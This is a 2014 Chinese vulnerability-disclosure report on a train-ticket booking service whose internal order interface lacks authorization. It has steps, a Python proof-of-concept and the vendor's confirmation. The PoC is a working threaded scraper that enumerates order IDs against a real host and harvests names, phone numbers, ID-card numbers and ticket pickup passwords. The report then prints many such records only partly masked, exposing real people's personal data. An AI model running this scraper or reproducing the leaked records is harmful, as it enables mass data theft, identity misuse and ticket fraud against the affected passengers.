2014-11-06: 细节已通知厂商并且等待厂商处理中 2014-11-07: 厂商已经确认,细节仅向厂商公开 2014-11-17: 细节向核心白帽子及相关领域专家公开 2014-11-27: 细节向普通白帽子公开 2014-12-07: 细节向实习白帽子公开 2014-12-21: 细节向公众公开
内部接口对外开放,可以不通过验证读取任意订单信息。读取到的信息涉及身份证、手机号码、列车车次、支付状态、取票密码等重要敏感信息。提交订单后无论是否支付都已生成订单和取票密码,理论可以通过取票密码到终端机直接取票,从而实现不付款刷票。
#1、提交一个订单
#2、通过访问“我的订单”获取到了订单编号
#3、orderid的参数改为内部编号读取信息
#4 通过内部接口测试获取其他订单的信息
#5 批量获取如下。
*****^^**********露无^**********帮助,奖励物^**********^^明下安^*****
POC:
import threadpoolimport requestsimport reimport osimport sysTHREAD = 5RESULT_FILE = "result.txt"def start(n): resultHtml = requests.get("http://121.199.72.197:8787/ws_test/conf/method_getServiceData.action?methodId=getOrderAdmin&orderId={0}&queryType=0".format(n)).text; return resultHtmldef processingResults(request,resultHtml): try: FILE.write("{0}:{1}".format("用户ID",re.findall("<userId>(.*)</userId>",resultHtml)[0].encode("utf-8"))); FILE.write("{0}:{1}".format(",订单编号",re.findall("<orderNo>(.*)</orderNo>",resultHtml)[0].encode("utf-8"))); FILE.write("{0}:{1}".format(",用户名",re.findall("<userName>(.*)</userName>",resultHtml)[0].encode("utf-8"))); FILE.write("{0}:{1}".format(",手机号码",re.findall("<mobilePhone>(.*)</mobilePhone>",resultHtml)[0].encode("utf-8"))); FILE.write("{0}:{1}".format(",身份证",re.findall("<certificateNo>(.*)</certificateNo>",resultHtml)[0].encode("utf-8"))); FILE.write("{0}:{1}".format(",取票号",re.findall("<bookLogAID>(.*)</bookLogAID>",resultHtml)[0].encode("utf-8"))); FILE.write("{0}:{1}".format(",取票密码",re.findall("<ticketPassword>(.*)</ticketPassword>",resultHtml)[0].encode("utf-8"))); FILE.write("{0}:{1}".format(",始发站",re.findall("<startStationName>(.*)</startStationName>",resultHtml)[0].encode("utf-8"))); FILE.write("{0}:{1}".format(",终点站",re.findall("<endStationName>(.*)</endStationName>",resultHtml)[0].encode("utf-8"))); FILE.write("{0}:{1}".format(",车次",re.findall("<scheduleCode>(.*)</scheduleCode>",resultHtml)[0].encode("utf-8"))); FILE.write("-------".join(os.linesep)) except IndexError: print "not found" if len(sys.argv) < 3: print 'usage: python work.py <orderIdStart> <orderIdStop>' print 'demo: python wordk 686469 686472' exit()FILE = open(RESULT_FILE,"a");pool = threadpool.ThreadPool(THREAD)reqs = threadpool.makeRequests(start,range(int(sys.argv[1]),int(sys.argv[2])),processingResults)[pool.putRequest(req) for req in reqs]pool.wait()FILE.close()
读取了部分数据,仅为证明漏洞存在,本地未做任何保留。
*****^,车次:PT0106用户ID:552697,订单编号:0214123081298766,用户名:华莎,手机号码:1396173028**********--**********^:330424199502140020,取票号:123082630210,取票**********--**********^:320223197803257814,取票号:123081298767,取票**********--**********:20141103155121247,用户名:孙守军,手机号码:15808798709,身份证:51152619950223381X用户ID:571486,订单编号:0514123082630**********--**********,身份证:420202196705111237用户ID:565945,订单编号:0514123082630260,用户名:洪韦,手机号码**********--**********^:320282199601170816,取票号:123082630264,取票**********--**********08219890925002X,取票号:123082630266,取票密码**********--**********^:421083199001054977,取票号:123082630272,取票**********--**********123082630278,用户名:沐凯,手机号码:18862196954,身份证:321284199604**********--**********2198305110058,取票号:123081018869,取票密码:78**********--**********0624196901089088,取票号:123089559190,取票密码**********--**********:320682199008037952,取票号:123089559191,取票**********--**********123082630310,用户名:李杰,手机号码:13957739560,身份证:3303221989060**********--**********^:321283199301154627,取票号:123082630311,取票**********--**********^:513721197909033790,取票号:123082630321,取票**********--**********2721199101222243,取票号:123082630327,取票密码**********--**********^:320113199003282414,取票号:123089559195,取票**********--**********^:460022198912313713,取票号:123082630334,取票**********--**********123082630341,用户名:方建美,手机号码:15858202803,身份证:330127198**********--**********^:321023198912026227,取票号:123082630351,取票**********--**********^:320923197310211234,取票号:123081298782,取票**********--**********^:320483198503258219,取票号:123082583901,取票**********--**********^:320324198909065438,取票号:123082630369,取票**********--**********512324198104146318,取票号:123082630372,取票密**********--**********订单编号:0414123082583905,用户名:徐浩,手机号码:13861272765,身份证:32**********--**********^:320682199101013277,取票号:123082630390,取票**********--**********^:372929199010016523,取票号:123082630392,取票**********--**********^:330125197905213221,取票号:123089559205,取票**********--**********0202199108155414,取票号:123089559206,取票密码**********--**********^:330326198407015654,取票号:123082630400,取票**********--**********29006198709157912,取票号:123082630403,取票密**********--**********:32061119581101182X,取票号:123089559209,取票**********--**********:320113197001192483,取票号:123081298789,取票**********--**********^:411403198910108446,取票号:123089559211,取票**********--**********^:320504197002272026,取票号:123082630421,取票**********--**********^:320602195706294059,取票号:123089559212,取票**********--*****
危害等级:高
漏洞Rank:10
确认时间:2014-11-07 09:30
1.查询接口没有权限校验,用户弱密码问题已修复。2.取票密码是预生成,不付款是不会发生订单生效的。感谢M4ster
暂无